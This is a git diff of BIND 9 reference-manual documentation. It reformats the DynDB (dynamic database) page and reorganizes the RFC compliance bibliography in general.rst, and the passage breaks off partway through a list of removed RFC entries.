+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. _dyndb-info:
+
+Dynamic Database (DynDB)
+------------------------
+
+Dynamic Database, or DynDB, is an extension to BIND 9 which, like DLZ (see
+:ref:`dlz-info`), allows zone data to be retrieved from an external
+database. Unlike DLZ, a DynDB module provides a full-featured BIND zone
+database interface. Where DLZ translates DNS queries into real-time
+database lookups, resulting in relatively poor query performance, and is
+unable to handle DNSSEC-signed data due to its limited API, a DynDB
+module can pre-load an in-memory database from the external data source,
+providing the same performance and functionality as zones served
+natively by BIND.
+
+A DynDB module supporting LDAP has been created by Red Hat and is
+available from https://pagure.io/bind-dyndb-ldap.
+
+A sample DynDB module for testing and developer guidance is included
+with the BIND source code, in the directory
+``bin/tests/system/dyndb/driver``.
+
+Configuring DynDB
+~~~~~~~~~~~~~~~~~
+.. namedconf:statement:: dyndb
+   :tags: zone
+   :short: Configures a DynDB database in :iscman:`named.conf`.
+
+A DynDB database is configured with a :any:`dyndb` statement in
+:iscman:`named.conf`:
+
+::
+
+       dyndb example "driver.so" {
+           parameters
+       };
+
+
+The file ``driver.so`` is a DynDB module which implements the full DNS
+database API. Multiple :any:`dyndb` statements can be specified, to load
+different drivers or multiple instances of the same driver. Zones
+provided by a DynDB module are added to the view's zone table, and are
+treated as normal authoritative zones when BIND responds to
+queries. Zone configuration is handled internally by the DynDB module.
+
+The parameters are passed as an opaque string to the DynDB module's
+initialization routine. Configuration syntax differs depending on
+the driver.
+
+Sample DynDB Module
+~~~~~~~~~~~~~~~~~~~
+
+For guidance in the implementation of DynDB modules, the directory
+``bin/tests/system/dyndb/driver`` contains a basic DynDB module. The
+example sets up two zones, whose names are passed to the module as
+arguments in the :any:`dyndb` statement:
+
+::
+
+       dyndb sample "sample.so" { example.nil. arpa. };
+
+
+In the above example, the module is configured to create a zone,
+"example.nil", which can answer queries and AXFR requests and accept
+DDNS updates. At runtime, prior to any updates, the zone contains an
+SOA, NS, and a single A record at the apex:
+
+::
+
+    example.nil.  86400    IN      SOA     example.nil. example.nil. (
+                                                  0 28800 7200 604800 86400
+                                          )
+    example.nil.  86400    IN      NS      example.nil.
+    example.nil.  86400    IN      A       127.0.0.1
+
+
+When the zone is updated dynamically, the DynDB module determines
+whether the updated RR is an address (i.e., type A or AAAA); if so,
+it automatically updates the corresponding PTR record in a reverse
+zone. Note that updates are not stored permanently; all updates are lost when the
+server is restarted.
diff --git a/doc/arm/dyndb.rst b/doc/arm/dyndb.rst
deleted file mode 100644
index fa8d538757..0000000000
--- a/doc/arm/dyndb.rst
+++ /dev/null
@@ -1,88 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-.. _dyndb-info:
-
-Dynamic Database (DynDB)
-------------------------
-
-Dynamic Database, or DynDB, is an extension to BIND 9 which, like DLZ (see
-:ref:`dlz-info`), allows zone data to be retrieved from an external
-database. Unlike DLZ, a DynDB module provides a full-featured BIND zone
-database interface. Where DLZ translates DNS queries into real-time
-database lookups, resulting in relatively poor query performance, and is
-unable to handle DNSSEC-signed data due to its limited API, a DynDB
-module can pre-load an in-memory database from the external data source,
-providing the same performance and functionality as zones served
-natively by BIND.
-
-A DynDB module supporting LDAP has been created by Red Hat and is
-available from https://pagure.io/bind-dyndb-ldap.
-
-A sample DynDB module for testing and developer guidance is included
-with the BIND source code, in the directory
-``bin/tests/system/dyndb/driver``.
-
-Configuring DynDB
-~~~~~~~~~~~~~~~~~
-
-A DynDB database is configured with a ``dyndb`` statement in
-``named.conf``:
-
-::
-
-       dyndb example "driver.so" {
-           parameters
-       };
-
-
-The file ``driver.so`` is a DynDB module which implements the full DNS
-database API. Multiple ``dyndb`` statements can be specified, to load
-different drivers or multiple instances of the same driver. Zones
-provided by a DynDB module are added to the view's zone table, and are
-treated as normal authoritative zones when BIND responds to
-queries. Zone configuration is handled internally by the DynDB module.
-
-The parameters are passed as an opaque string to the DynDB module's
-initialization routine. Configuration syntax differs depending on
-the driver.
-
-Sample DynDB Module
-~~~~~~~~~~~~~~~~~~~
-
-For guidance in the implementation of DynDB modules, the directory
-``bin/tests/system/dyndb/driver`` contains a basic DynDB module. The
-example sets up two zones, whose names are passed to the module as
-arguments in the ``dyndb`` statement:
-
-::
-
-       dyndb sample "sample.so" { example.nil. arpa. };
-
-
-In the above example, the module is configured to create a zone,
-"example.nil", which can answer queries and AXFR requests and accept
-DDNS updates. At runtime, prior to any updates, the zone contains an
-SOA, NS, and a single A record at the apex:
-
-::
-
-    example.nil.  86400    IN      SOA     example.nil. example.nil. (
-                                                  0 28800 7200 604800 86400
-                                          )
-    example.nil.  86400    IN      NS      example.nil.
-    example.nil.  86400    IN      A       127.0.0.1
-
-
-When the zone is updated dynamically, the DynDB module determines
-whether the updated RR is an address (i.e., type A or AAAA); if so,
-it automatically updates the corresponding PTR record in a reverse
-zone. Note that updates are not stored permanently; all updates are lost when the
-server is restarted.
diff --git a/doc/arm/general.rst b/doc/arm/general.rst
index a15fb30b62..5b65f6ac9d 100644
--- a/doc/arm/general.rst
+++ b/doc/arm/general.rst
@@ -1,106 +1,68 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. General:
 
 General DNS Reference Information
 =================================
 
-.. _ipv6addresses:
-
-IPv6 Addresses (AAAA)
----------------------
-
-IPv6 addresses are 128-bit identifiers, for interfaces and sets of
-interfaces, which were introduced in the DNS to facilitate scalable
-Internet routing. There are three types of addresses: *Unicast*, an
-identifier for a single interface; *Anycast*, an identifier for a set of
-interfaces; and *Multicast*, an identifier for a set of interfaces. Here
-we describe the global Unicast address scheme. For more information, see
-:rfc:`3587`, "IPv6 Global Unicast Address Format."
-
-IPv6 unicast addresses consist of a *global routing prefix*, a *subnet
-identifier*, and an *interface identifier*.
-
-The global routing prefix is provided by the upstream provider or ISP,
-and roughly corresponds to the IPv4 *network* section of the address
-range. The subnet identifier is for local subnetting, much like
-subnetting an IPv4 /16 network into /24 subnets. The interface
-identifier is the address of an individual interface on a given network;
-in IPv6, addresses belong to interfaces rather than to machines.
-
-The subnetting capability of IPv6 is much more flexible than that of
-IPv4; subnetting can be carried out on bit boundaries, in much the same
-way as Classless InterDomain Routing (CIDR), and the DNS PTR
-representation ("nibble" format) makes setting up reverse zones easier.
-
-The interface identifier must be unique on the local link, and is
-usually generated automatically by the IPv6 implementation, although it
-is usually possible to override the default setting if necessary. A
-typical IPv6 address might look like:
-``2001:db8:201:9:a00:20ff:fe81:2b32``.
-
-IPv6 address specifications often contain long strings of zeros, so the
-architects have included a shorthand for specifying them. The double
-colon (``::``) indicates the longest possible string of zeros that can
-fit, and can be used only once in an address.
-
-.. _bibliography:
-
-Bibliography (and Suggested Reading)
-------------------------------------
-
 .. _rfcs:
 
 Requests for Comment (RFCs)
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
+Specification documents for the Internet protocol suite, including the
+DNS, are published as part of the `Request for Comments`_ (RFCs) series
+of technical notes. The standards themselves are defined by the
+`Internet Engineering Task Force`_ (IETF) and the `Internet Engineering
+Steering Group`_ (IESG). RFCs can be viewed online at:
+https://www.rfc-editor.org/.
+
+While reading RFCs, please keep in mind that :rfc:`not all RFCs are
+standards <1796>`, and also that the validity of documents does change
+over time. Every RFC needs to be interpreted in the context of other
+documents.
+
 BIND 9 strives for strict compliance with IETF standards. To the best
 of our knowledge, BIND 9 complies with the following RFCs, with
 the caveats and exceptions listed in the numbered notes below. Many
 of these RFCs were written by current or former ISC staff members.
 The list is non-exhaustive.
 
-Specification documents for the Internet protocol suite, including the
-DNS, are published as part of the Request for Comments (RFCs) series of
-technical notes. The standards themselves are defined by the Internet
-Engineering Task Force (IETF) and the Internet Engineering Steering
-Group (IESG). RFCs can be viewed online at: https://datatracker.ietf.org/doc/ .
+.. _Internet Engineering Steering Group: https://www.ietf.org/about/groups/iesg/
+.. _Internet Engineering Task Force: https://www.ietf.org/about/
+.. _Request for Comments: https://www.ietf.org/standards/rfcs/
 
 Some of these RFCs, though DNS-related, are not concerned with implementing
 software.
 
-Internet Standards
-------------------
+Protocol Specifications
+-----------------------
 
 :rfc:`1034` - P. Mockapetris. *Domain Names — Concepts and Facilities.* November
 1987.
 
 :rfc:`1035` - P. Mockapetris. *Domain Names — Implementation and Specification.*
-November 1987. [1] [2]
+November 1987. [#rfc1035_1]_ [#rfc1035_2]_
 
-:rfc:`1123` - R. Braden. *Requirements for Internet Hosts - Application and
-Support.* October 1989.
-
-:rfc:`3596` - S. Thomson, C. Huitema, V. Ksinant, and M. Souissi. *DNS Extensions to
-Support IP Version 6.* October 2003.
-
-:rfc:`5011` - M. StJohns. *Automated Updates of DNS Security (DNSSEC) Trust Anchors.*
+:rfc:`1183` - C. F. Everhart, L. A. Mamakos, R. Ullmann, P. Mockapetris. *New DNS RR
+Definitions.* October 1990.
 
-:rfc:`6891` - J. Damas, M. Graff, and P. Vixie. *Extension Mechanisms for DNS
-(EDNS(0)).* April 2013.
+:rfc:`1706` - B. Manning and R. Colella. *DNS NSAP Resource Records.* October 1994.
 
-.. _proposed_standards:
+:rfc:`1712` - C. Farrell, M. Schulze, S. Pleitner, and D. Baldoni. *DNS Encoding of
+Geographical Location.* November 1994.
 
-Proposed Standards
-------------------
+:rfc:`1876` - C. Davis, P. Vixie, T. Goodwin, and I. Dickinson. *A Means for Expressing
+Location Information in the Domain Name System.* January 1996.
 
 :rfc:`1982` - R. Elz and R. Bush. *Serial Number Arithmetic.* August 1996.
 
@@ -117,6 +79,9 @@ Conformant Global Address Mapping (MCGAM).* January 1998.
 
 :rfc:`2181` - R. Elz and R. Bush. *Clarifications to the DNS Specification.* July 1997.
 
+:rfc:`2230` - R. Atkinson. *Key Exchange Delegation Record for the DNS.* November
+1997.
+
 :rfc:`2308` - M. Andrews. *Negative Caching of DNS Queries (DNS NCACHE).* March 1998.
 
 :rfc:`2539` - D. Eastlake, 3rd. *Storage of Diffie-Hellman Keys in the Domain Name
@@ -125,14 +90,11 @@ System (DNS).* March 1999.
 :rfc:`2782` - A. Gulbrandsen, P. Vixie, and L. Esibov. *A DNS RR for Specifying the
 Location of Services (DNS SRV).* February 2000.
 
-:rfc:`2845` - P. Vixie, O. Gudmundsson, D. Eastlake, 3rd, and B. Wellington. *Secret Key
-Transaction Authentication for DNS (TSIG).* May 2000.
-
 :rfc:`2930` - D. Eastlake, 3rd. *Secret Key Establishment for DNS (TKEY RR).*
 September 2000.
 
 :rfc:`2931` - D. Eastlake, 3rd. *DNS Request and Transaction Signatures (SIG(0)s).*
-September 2000. [3]
+September 2000. [#rfc2931]_
 
 :rfc:`3007` - B. Wellington. *Secure Domain Name System (DNS) Dynamic Update.*
 November 2000.
@@ -140,14 +102,36 @@ November 2000.
 :rfc:`3110` - D. Eastlake, 3rd. *RSA/SHA-1 SIGs and RSA KEYs in the Domain Name
 System (DNS).* May 2001.
 
+:rfc:`3123` - P. Koch. *A DNS RR Type for Lists of Address Prefixes (APL RR).* June
+2001.
+
 :rfc:`3225` - D. Conrad. *Indicating Resolver Support of DNSSEC.* December 2001.
 
 :rfc:`3226` - O. Gudmundsson. *DNSSEC and IPv6 A6 Aware Server/Resolver
 Message Size Requirements.* December 2001.
 
+:rfc:`3363` - R. Bush, A. Durand, B. Fink, O. Gudmundsson, and T. Hain.
+*Representing Internet Protocol Version 6 (IPv6) Addresses in the Domain Name
+System (DNS).* August 2002. [#rfc3363]_
+
+:rfc:`3403` - M. Mealling.
+*Dynamic Delegation Discovery System (DDDS). Part Three: The Domain Name System
+(DNS) Database.*
+October 2002.
+
 :rfc:`3492` - A. Costello. *Punycode: A Bootstring Encoding of Unicode for
 Internationalized Domain Names in Applications (IDNA).* March 2003.
 
+:rfc:`3493` - R. Gilligan, S. Thomson, J. Bound, J. McCann, and W. Stevens.
+*Basic Socket Interface Extensions for IPv6.* March 2003.
+
+:rfc:`3496` - A. G. Malis and T. Hsiao. *Protocol Extension for Support of
+Asynchronous Transfer Mode (ATM) Service Class-aware Multiprotocol Label
+Switching (MPLS) Traffic Engineering.* March 2003.
+
+:rfc:`3596` - S. Thomson, C. Huitema, V. Ksinant, and M. Souissi. *DNS Extensions to
+Support IP Version 6.* October 2003.
+
 :rfc:`3597` - A. Gustafsson. *Handling of Unknown DNS Resource Record (RR) Types.*
 September 2003.
 
@@ -159,7 +143,7 @@ DNS (GSS-TSIG).* October 2003.
 DNS.* March 2005.
 
 :rfc:`4033` - R. Arends, R. Austein, M. Larson, D. Massey, and S. Rose. *DNS Security
-Introduction and Requirements.* March 2005. [4]
+Introduction and Requirements.* March 2005.
 
 :rfc:`4034` - R. Arends, R. Austein, M. Larson, D. Massey, and S. Rose. *Resource Records for
 the DNS Security Extensions.* March 2005.
@@ -175,8 +159,8 @@ Clarification.* January 2006.
 
 :rfc:`4398` - S. Josefsson. *Storing Certificates in the Domain Name System (DNS).* March 2006.
 
-:rfc:`4470` - S. Weiler and J. Ihren. *Minimally Covering NSEC Records and
-DNSSEC On-line Signing.* April 2006. [5]
+:rfc:`4470` - S. Weiler and J. Ihren. *Minimally covering NSEC Records and
+DNSSEC On-line Signing.* April 2006. [#rfc4470]_
 
 :rfc:`4509` - W. Hardaker. *Use of SHA-256 in DNSSEC Delegation Signer
 (DS) Resource Records (RRs).* May 2006.
@@ -190,19 +174,28 @@ Code, Secure Hash Algorithm) TSIG Algorithm Identifiers.* August 2006.
 (RR) for Encoding Dynamic Host Configuration Protocol (DHCP) Information (DHCID
 RR).* October 2006.
 
-:rfc:`4955` - D. Blacka. *DNS Security (DNSSEC) Experiments.* July 2007. [6]
+:rfc:`4955` - D. Blacka. *DNS Security (DNSSEC) Experiments.* July 2007. [#rfc4955]_
 
 :rfc:`5001` - R. Austein. *DNS Name Server Identifier (NSID) Option.* August 2007.
 
+:rfc:`5011` - M. StJohns. *Automated Updates of DNS Security (DNSSEC) Trust Anchors.*
+
 :rfc:`5155` - B. Laurie, G. Sisson, R. Arends, and D. Blacka. *DNS Security
 (DNSSEC) Hashed Authenticated Denial of Existence.* March 2008.
 
+:rfc:`5205` - P. Nikander and J. Laganier. *Host Identity Protocol (HIP)
+Domain Name System (DNS) Extension.* April 2008.
+
 :rfc:`5452` - A. Hubert and R. van Mook. *Measures for Making DNS More
-Resilient Against Forged Answers.* January 2009. [7]
+Resilient Against Forged Answers.* January 2009. [#rfc5452]_
 
 :rfc:`5702` - J. Jansen. *Use of SHA-2 Algorithms with RSA in DNSKEY and
 RRSIG Resource Records for DNSSEC.* October 2009.
 
+:rfc:`5891` - J. Klensin.
+*Internationalized Domain Names in Applications (IDNA): Protocol.*
+August 2010
+
 :rfc:`5936` - E. Lewis and A. Hoenes, Ed. *DNS Zone Transfer Protocol (AXFR).*
 June 2010.
 
@@ -214,17 +207,13 @@ Addressing of IPv4/IPv6 Translators.* October 2010.
 
 :rfc:`6147` - M. Bagnulo, A. Sullivan, P. Matthews, and I. van Beijnum.
 *DNS64: DNS Extensions for Network Address Translation from IPv6 Clients to
-IPv4 Servers.* April 2011. [8]
-
-:rfc:`6594` - O. Sury. *Use of the SHA-256 Algorithm with RSA, Digital
-Signature Algorithm (DSA), and Elliptic Curve DSA (ECDSA) in SSHFP Resource
-Records.* April 2012.
+IPv4 Servers.* April 2011. [#rfc6147]_
 
 :rfc:`6604` - D. Eastlake, 3rd. *xNAME RCODE and Status Bits Clarification.*
 April 2012.
 
 :rfc:`6605` - P. Hoffman and W. C. A. Wijngaards. *Elliptic Curve Digital
-Signature Algorithm (DSA) for DNSSEC.* April 2012. [9]
+Signature Algorithm (DSA) for DNSSEC.* April 2012. [#rfc6605]_
 
 :rfc:`6672` - S. Rose and W. Wijngaards. *DNAME Redirection in the DNS.*
 June 2012.
@@ -234,109 +223,37 @@ Named Entities (DANE) Transport Layer Security (TLS) Protocol: TLSA.*
 August 2012.
 
 :rfc:`6725` - S. Rose. *DNS Security (DNSSEC) DNSKEY Algorithm IANA Registry
-Updates.* August 2012. [10]
+Updates.* August 2012. [#rfc6725]_
 
-:rfc:`6840` - S. Weiler, Ed., and D. Blacka, Ed. *Clarifications and
-Implementation Notes for DNS Security (DNSSEC).* February 2013. [11]
-
-:rfc:`7216` - M. Thomson and R. Bellis. *Location Information Server (LIS)
-Discovery Using IP Addresses and Reverse DNS.* April 2014.
-
-:rfc:`7344` - W. Kumari, O. Gudmundsson, and G. Barwood. *Automating DNSSEC
-Delegation Trust Maintenance.* September 2014. [12]
-
-:rfc:`7477` - W. Hardaker. *Child-to-Parent Synchronization in DNS.* March
-2015.
-
-:rfc:`7766` - J. Dickinson, S. Dickinson, R. Bellis, A. Mankin, and D.
-Wessels. *DNS Transport over TCP - Implementation Requirements.* March 2016.
-
-:rfc:`7828` - P. Wouters, J. Abley, S. Dickinson, and R. Bellis.
-*The edns-tcp-keepalive EDNS0 Option.* April 2016.
-
-:rfc:`7830` - A. Mayrhofer. *The EDNS(0) Padding Option.* May 2016. [13]
-
-:rfc:`8080` - O. Sury and R. Edmonds. *Edwards-Curve Digital Security Algorithm
-(EdDSA) for DNSSEC.* February 2017.
-
-:rfc:`8482` - J. Abley, O. Gudmundsson, M. Majkowski, and E. Hunt. *Providing
-Minimal-Sized Responses to DNS Queries That Have QTYPE=ANY.* January 2019.
-
-:rfc:`8490` - R. Bellis, S. Cheshire, J. Dickinson, S. Dickinson, T. Lemon,
-and T. Pusateri. *DNS Stateful Operations.* March 2019.
-
-:rfc:`8624` - P. Wouters and O. Sury. *Algorithm Implementation Requirements
-and Usage Guidance for DNSSEC.* June 2019.
-
-:rfc:`8749` - W. Mekking and D. Mahoney. *Moving DNSSEC Lookaside Validation
-(DLV) to Historic Status.* March 2020.
-
-Informational RFCs
-------------------
-
-:rfc:`1535` - E. Gavron. *A Security Problem and Proposed Correction With Widely
-Deployed DNS Software.* October 1993.
-
-:rfc:`1536` - A. Kumar, J. Postel, C. Neuman, P. Danzig, and S. Miller. *Common DNS
-Implementation Errors and Suggested Fixes.* October 1993.
-
-:rfc:`1591` - J. Postel. *Domain Name System Structure and Delegation.* March 1994.
-
-:rfc:`1706` - B. Manning and R. Colella. *DNS NSAP Resource Records.* October 1994.
-
-:rfc:`1713` - A. Romao. *Tools for DNS Debugging.* November 1994.
-
-:rfc:`1794` - T. Brisco. *DNS Support for Load Balancing.* April 1995.
-
-:rfc:`1912` - D. Barr. *Common DNS Operational and Configuration Errors.* February
-1996.
-
-:rfc:`2230` - R. Atkinson. *Key Exchange Delegation Record for the DNS.* November
-1997.
-
-:rfc:`2352` - O. Vaughan. *A Convention for Using Legal Names as Domain Names.* May
-1998.
-
-:rfc:`2825` - IAB and L. Daigle. *A Tangled Web: Issues of I18N, Domain Names, and
-the Other Internet Protocols.* May 2000.
-
-:rfc:`2826` - Internet Architecture Board. *IAB Technical Comment on the Unique
-DNS Root.* May 2000.
-
-:rfc:`3071` - J. Klensin. *Reflections on the DNS, RFC 1591, and Categories of
-Domains.* February 2001.
-
-:rfc:`3258` - T. Hardie. *Distributing Authoritative Name Servers via Shared
-Unicast Addresses.* April 2002.
-
-:rfc:`3363` - R. Bush, A. Durand, B. Fink, O. Gudmundsson, and T. Hain.
-*Representing Internet Protocol Version 6 (IPv6) Addresses in the Domain Name
-System (DNS).* August 2002. [14]
+:rfc:`6742` - RJ Atkinson, SN Bhatti, U. St. Andrews, and S. Rose. *DNS
+Resource Records for the Identifier-Locator Network Protocol (ILNP).*
+November 2012.
 
-:rfc:`3493` - R. Gilligan, S. Thomson, J. Bound, J. McCann, and W. Stevens.
-*Basic Socket Interface Extensions for IPv6.* March 2003.
+:rfc:`6840` - S. Weiler, Ed., and D. Blacka, Ed. *Clarifications and
+Implementation Notes for DNS Security (DNSSEC).* February 2013. [#rfc6840]_
 
-:rfc:`3496` - A. G. Malis and T. Hsiao. *Protocol Extension for Support of
-Asynchronous Transfer Mode (ATM) Service Class-aware Multiprotocol Label
-Switching (MPLS) Traffic Engineering.* March 2003.
+:rfc:`6891` - J. Damas, M. Graff, and P. Vixie. *Extension Mechanisms for DNS
+(EDNS(0)).* April 2013.
 
-:rfc:`3833` - D. Atkins and R. Austein. *Threat Analysis of the Domain Name System
-(DNS).* August 2004.
+:rfc:`7043` - J. Abley. *Resource Records for EUI-48 and EUI-64 Addresses
+in the DNS.* October 2013.
 
-:rfc:`4074` - Y. Morishita and T. Jinmei. *Common Misbehavior Against DNS Queries for
-IPv6 Addresses.* June 2005.
+:rfc:`7050` - T. Savolainen, J. Korhonen, and D. Wing. *Discovery of the IPv6
+Prefix Used for IPv6 Address Synthesis.* November 2013. [#rfc7050]_
 
-:rfc:`4892` - S. Woolf and D. Conrad. *Requirements for a Mechanism
-Identifying a Name Server Instance.* June 2007.
+:rfc:`7208` - S. Kitterman.
+*Sender Policy Framework (SPF) for Authorizing Use of Domains in Email,
+Version 1.*
+April 2014.
 
-:rfc:`6781` - O. Kolkman, W. Mekking, and R. Gieben. *DNSSEC Operational
-Practices, Version 2.* December 2012.
+:rfc:`7314` - M. Andrews. *Extension Mechanisms for DNS (EDNS) EXPIRE Option.*
+July 2014.
 
-:rfc:`7043` - J. Abley. *Resource Records for EUI-48 and EUI-64 Addresses
-in the DNS.* October 2013.
+:rfc:`7344` - W. Kumari, O. Gudmundsson, and G. Barwood. *Automating DNSSEC
+Delegation Trust Maintenance.* September 2014. [#rfc7344]_
 
-:rfc:`7129` - R. Gieben and W. Mekking. *Authenticated Denial of Existence
-in the DNS.* February 2014.
+:rfc:`7477` - W. Hardaker. *Child-to-Parent Synchronization in DNS.* March
+2015.
 
 :rfc:`7553` - P. Faltstrom and O. Kolkman. *The Uniform Resource Identifier
 (URI) DNS Resource Record.* June 2015.
@@ -344,39 +261,47 @@ in the DNS.* February 2014.
 :rfc:`7583` - S. Morris, J. Ihren, J. Dickinson, and W. Mekking. *DNSSEC Key
 Rollover Timing Considerations.* October 2015.
 
-Experimental RFCs
------------------
+:rfc:`7766` - J. Dickinson, S. Dickinson, R. Bellis, A. Mankin, and D.
+Wessels. *DNS Transport over TCP - Implementation Requirements.* March 2016.
+
+:rfc:`7828` - P. Wouters, J. Abley, S. Dickinson, and R. Bellis.
+*The edns-tcp-keepalive EDNS0 Option.* April 2016.
 
-:rfc:`1183` - C. F. Everhart, L. A. Mamakos, R. Ullmann, P. Mockapetris. *New DNS RR
-Definitions.* October 1990.
+:rfc:`7830` - A. Mayrhofer. *The EDNS(0) Padding Option.* May 2016. [#rfc7830]_
 
-:rfc:`1464` - R. Rosenbaum. *Using the Domain Name System to Store Arbitrary
-String Attributes.* May 1993.
+:rfc:`7858` - Z. Hu, L. Zhu, J. Heidemann, A. Mankin, D. Wessels,
+and P. Hoffman. *Specification for DNS over Transport Layer Security (TLS).*
+May 2016. [#noencryptedfwd]_
 
-:rfc:`1712` - C. Farrell, M. Schulze, S. Pleitner, and D. Baldoni. *DNS Encoding of
-Geographical Location.* November 1994.
+:rfc:`7929` - P. Wouters. *DNS-Based Authentication of Named Entities (DANE)
+Bindings for OpenPGP.* August 2016.
 
-:rfc:`1876` - C. Davis, P. Vixie, T. Goodwin, and I. Dickinson. *A Means for Expressing
-Location Information in the Domain Name System.* January 1996.
+:rfc:`8078` - O. Gudmundsson and P. Wouters. *Managing DS Records from the
+Parent via CDS/CDNSKEY.* March 2017. [#rfc8078]_
 
-:rfc:`2345` - J. Klensin, T. Wolf, and G. Oglesby. *Domain Names and Company Name
-Retrieval.* May 1998.
+:rfc:`8080` - O. Sury and R. Edmonds. *Edwards-Curve Digital Security Algorithm
+(EdDSA) for DNSSEC.* February 2017.
 
-:rfc:`2540` - D. Eastlake, 3rd. *Detached Domain Name System (DNS) Information.*
-March 1999.
+:rfc:`8484` - P. Hoffman and P. McManus. *DNS Queries over HTTPS (DoH).*
+October 2018. [#noencryptedfwd]_
 
-:rfc:`3123` - P. Koch. *A DNS RR Type for Lists of Address Prefixes (APL RR).* June
-2001.
+:rfc:`8624` - P. Wouters and O. Sury. *Algorithm Implementation Requirements
+and Usage Guidance for DNSSEC.* June 2019.
 
-:rfc:`6742` - RJ Atkinson, SN Bhatti, U. St. Andrews, and S. Rose. *DNS
-Resource Records for the Identifier-Locator Network Protocol (ILNP).*
-November 2012.
+:rfc:`8659` - P. Hallam-Baker, R. Stradling, and J. Hoffman-Andrews.
+*DNS Certification Authority Authorization (CAA) Resource Record.*
+November 2019.
 
-:rfc:`7314` - M. Andrews. *Extension Mechanisms for DNS (EDNS) EXPIRE Option.*
-July 2014.
+:rfc:`8880` - S. Cheshire and D. Schinazi. *Special Use Domain Name
+'ipv4only.arpa'.* August 2020.
 
-:rfc:`7929` - P. Wouters. *DNS-Based Authentication of Named Entities (DANE)
-Bindings for OpenPGP.* August 2016.
+:rfc:`8945` - F. Dupont, S. Morris, P. Vixie, D. Eastlake 3rd, O. Gudmundsson,
+and B. Wellington.
+*Secret Key Transaction Authentication for DNS (TSIG).*
+November 2020.
+
+:rfc:`9103` - W. Toorop, S. Dickinson, S. Sahib, P. Aras, and A. Mankin.
+*DNS Zone Transfer over TLS.* August 2021. [#rfc9103]_
 
 Best Current Practice RFCs
 --------------------------
@@ -388,7 +313,7 @@ October 1997.
 March 1998.
 
 :rfc:`2606` - D. Eastlake, 3rd and A. Panitz. *Reserved Top Level DNS Names.* June
-1999. [15]
+1999. [#rfc2606]_
 
 :rfc:`3901` - A. Durand and J. Ihren. *DNS IPv6 Transport Operational Guidelines.*
 September 2004.
@@ -403,193 +328,119 @@ Locally-Served DNS Zones Registry.* May 2016.
 :rfc:`8906` - M. Andrews and R. Bellis. *A Common Operational Problem in DNS
 Servers: Failure to Communicate.* September 2020.
 
-Historic RFCs
--------------
-
-:rfc:`2874` - M. Crawford and C. Huitema. *DNS Extensions to Support IPv6 Address
-Aggregation and Renumbering.* July 2000. [4]
-
-:rfc:`4431` - M. Andrews and S. Weiler. *The DNSSEC Lookaside Validation
-(DLV) DNS Resource Record.* February 2006.
-
-RFCs of Type "Unknown"
-----------------------
-
-:rfc:`1033` - M. Lottor. *Domain Administrators Operations Guide.* November 1987.
+For Your Information
+--------------------
 
 :rfc:`1101` - P. Mockapetris. *DNS Encoding of Network Names and Other Types.*
 April 1989.
 
-Obsoleted and Unimplemented Experimental RFCs
----------------------------------------------
-
-:rfc:`974` - C. Partridge. *Mail Routing and the Domain System.* January 1986.
-
-:rfc:`1521` - N. Borenstein and N. Freed. *MIME (Multipurpose Internet Mail
-Extensions) Part One: Mechanisms for Specifying and Describing the Format of
-Internet Message Bodies.* September 1993 [16]
-
-:rfc:`1537` - P. Beertema. *Common DNS Data File Configuration Errors.* October
-1993.
-
-:rfc:`1750` - D. Eastlake, 3rd, S. Crocker, and J. Schiller. *Randomness
-Recommendations for Security.* December 1994.
-
-:rfc:`2010` - B. Manning and P. Vixie. *Operational Criteria for Root Name Servers.*
-October 1996.
-
-:rfc:`2052` - A. Gulbrandsen and P. Vixie. *A DNS RR for Specifying the Location of
-Services.* October 1996.
-
-:rfc:`2065` - D. Eastlake, 3rd and C. Kaufman. *Domain Name System Security Extensions.*
-January 1997.
-
-:rfc:`2137` - D. Eastlake, 3rd. *Secure Domain Name System Dynamic Update.* April
-1997.
-
-:rfc:`2168` - R. Daniel and M. Mealling. *Resolution of Uniform Resource Identifiers
-Using the Domain Name System.* June 1997.
-
-:rfc:`2240` - O. Vaughan. *A Legal Basis for Domain Name Allocation.* November 1997.
-
-:rfc:`2535` - D. Eastlake, 3rd. *Domain Name System Security Extensions.*
-March 1999. [17] [18]
-
-:rfc:`2537` - D. Eastlake, 3rd. *RSA/MD5 KEYs and SIGs in the Domain Name System
-(DNS).* March 1999.
-
-:rfc:`2538` - D. Eastlake, 3rd and O. Gudmundsson. *Storing Certificates in the Domain
-Name System (DNS).* March 1999.
-
-:rfc:`2671` - P. Vixie. *Extension Mechanisms for DNS (EDNS0).* August 1999.
-
-:rfc:`2672` - M. Crawford. *Non-Terminal DNS Name Redirection.* August 1999.
-
-:rfc:`2673` - M. Crawford. *Binary Labels in the Domain Name System.* August 1999.
-
-:rfc:`2915` - M. Mealling and R. Daniel. *The Naming Authority Pointer (NAPTR) DNS
-Resource Record.* September 2000.
-
-:rfc:`2929` - D. Eastlake, 3rd, E. Brunner-Williams, and B. Manning. *Domain Name System
-(DNS) IANA Considerations.* September 2000.
-
-:rfc:`3008` - B. Wellington. *Domain Name System Security (DNSSEC) Signing
-Authority.* November 2000.
-
-:rfc:`3090` - E. Lewis. *DNS Security Extension Clarification on Zone Status.*
-March 2001.
-
